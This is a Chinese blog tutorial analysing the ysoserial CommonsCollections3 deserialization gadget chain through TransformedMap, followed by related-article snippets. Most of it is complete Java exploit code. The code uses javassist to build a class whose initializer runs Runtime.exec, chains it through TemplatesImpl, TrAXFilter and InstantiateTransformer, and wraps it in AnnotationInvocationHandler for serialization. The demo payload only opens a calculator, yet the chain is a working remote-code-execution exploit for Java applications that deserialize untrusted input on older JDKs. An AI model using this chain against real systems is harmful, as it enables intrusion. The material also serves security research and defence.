CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandlerreadobject进行了改写。

而CC3目前有两条主流的利用链,利用TransformedMap或者LazyMap。我们这篇文章先讲TransformedMap链

TemplatesImpl

在CC2中利用javassist创建了一个攻击类,使用TemplatesImpl类中的newTransformer方法触发

这里写一个简单的demo来演示下:

public class Demo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool= ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
byte[] bytes=payload.toBytecode();//转换为byte数组 TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "HelloTemplatesImpl");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
templatesImpl.newTransformer();
}
}

newTransformer方法执行就会弹出计算器

InstantiateTransformer

这个类的transform方法是利用反射获取类的构造方法对象,再通过该构造方法实例化对象

newInstance就是调用构造方法创建一个对象

// 使用构造器对象的newInstance方法初始化对象
Object obj = constroctor.newInstance("yy", 18);

TrAXFilter

TrAXFilter的构造方法中调用了templates.newTransformer

如果templates变量的值为TemplatesImpl的话,则就能调用到TemplatesImpl的newTransformer方法

这三条链形成一个调用链:

利用InstantiateTransformer#transform调用TrAXFilter的构造方法,再利用构造方法里的templates.newTransformer调用到TemplatesImpl的newTransformer方法。

结合一下ChainedTransformer调用链可以轻松完成构造

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
};
ChainedTransformer chain = new ChainedTransformer(transformers);

这时候我们只需要调用ChainedTransformer的transform即可触发整条链。这里使用的是TransformedMap来触发ChainedTransformer#transform

public class Demo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool= ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
byte[] bytes=payload.toBytecode();//转换为byte数组 TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "HelloTemplatesImpl");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxx");
Map decorate = TransformedMap.decorate(innerMap, null, chain);
decorate.put("xxx","xxx");
}
}

到这里是不是开始像CC1中的TransformedMap调用链了。没错,再用AnnotationInvocationHandler的readObject做为反序列化入口就可以构造出整条链了。

顺便复习一个知识点:TransformedMap里的每个entry在调用setValue方法时,会自动调用TransformedMap类的checkSetValue方法

完整的构造链

public class payload02 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool= ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
byte[] bytes=payload.toBytecode();//转换为byte数组 TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "xxxx");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl})
};
ChainedTransformer chain = new ChainedTransformer(transformers); Map innerMap = new HashMap();
innerMap.put("value", "xxx");
Map decorate = TransformedMap.decorate(innerMap, null, chain); // 通过反射机制实例化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Target.class,decorate);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}

其实此条链就是为了对付某些策略对InvokerTransformer类的限制(比如SerialKiller过滤器),而导致不能利用,产生的一条新链。

SerialKiller过滤器:https://github.com/ikkisoft/SerialKiller

当然在ysoserial中,并不是利用的TransformedMap构造,而是用的CC1中的另一条LazyMap链。下篇就讲怎么使用LazyMap构造CC3

ysoserial CommonsColletions3分析(1)的更多相关文章

  1. ysoserial CommonsColletions3分析(2)

    上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...

  2. ysoserial CommonsColletions4分析

    ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...

  3. ysoserial CommonsColletions2分析

    ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...

  4. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  5. ysoserial CommonsCollections2 分析

    在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...

  6. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  7. ysoserial CommonsColletions6分析

    CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...

  8. ysoserial CommonsColletions5分析

    我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...

  9. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

随机推荐

  1. user-agent随笔

    常用的user-agent: 一.pc端的user-agent汇总,各大浏览器 1.safari 5.1 – MAC Mozilla/5.0 (Macintosh; U; Intel Mac OS X ...

  2. 我把阿里、腾讯、字节跳动、美团等Android性能优化实战整合成了一个PDF文档

    安卓开发大军浩浩荡荡,经过近十年的发展,Android技术优化日异月新,如今Android 11.0 已经发布,Android系统性能也已经非常流畅,可以在体验上完全媲美iOS. 但是,到了各大厂商手 ...

  3. A*算法寻路(C++代码实现)

    A*(A-Star)算法是一种静态路网中求解最短路径最有效的直接搜索方法,也是解决许多搜索问题的有效算法.算法中的距离估算值与实际值越接近,最终搜索速度越快.--来自百度百科. 我在网上看了不少关于A ...

  4. Redisson实战-BloomFilter

    1. 简介 布隆过滤器是防止缓存穿透的方案之一.布隆过滤器主要是解决大规模数据下不需要精确过滤的业务场景,如检查垃圾邮件地址,爬虫URL地址去重, 解决缓存穿透问题等. 布隆过滤器:在一个存在一定数量 ...

  5. kubernetes中headless类型的service

    目录 初识headless类型的service 开始研究headless类型的service headless类型的service之我的理解 初识headless类型的service 第一次使用ran ...

  6. 暴力破解 安鸾 Writeup

    前三题可以使用hydra进行破解 hydra使用教程 https://www.cnblogs.com/zhaijiahui/p/8371336.html D:\soft\hydra-windows&g ...

  7. 常见web中间件漏洞(二)Apache漏洞

    Apache(总联想到武直那个)是最常见,使用人数最多的一款web服务器软件.跨平台,多扩展,开源,用过的人都说好 Apache的漏洞主要集中在解析漏洞这一块 1.未知扩展名解析漏洞 Apache的一 ...

  8. SQL 练习2

    查询同时存在" 01 "课程和" 02 "课程的情况 分析:分别先查询出包含有01课程和02课程 SELECT * from sc WHERE cid='01' ...

  9. SSM自学笔记(四)

    8.面向切面编程AOP 1.Spring 的 AOP 简介 1.1 什么是 AOP AOP 为 Aspect Oriented Programming 的缩写,意思为面向切面编程,是通过预编译方式和运 ...

  10. mysql行转列 问题 SUM(IF(条件,列值,0))

    sum(if(条件,列值,0))语法用例: select name,sum(if(subject="语文",score,0)) as "语文" from gra ...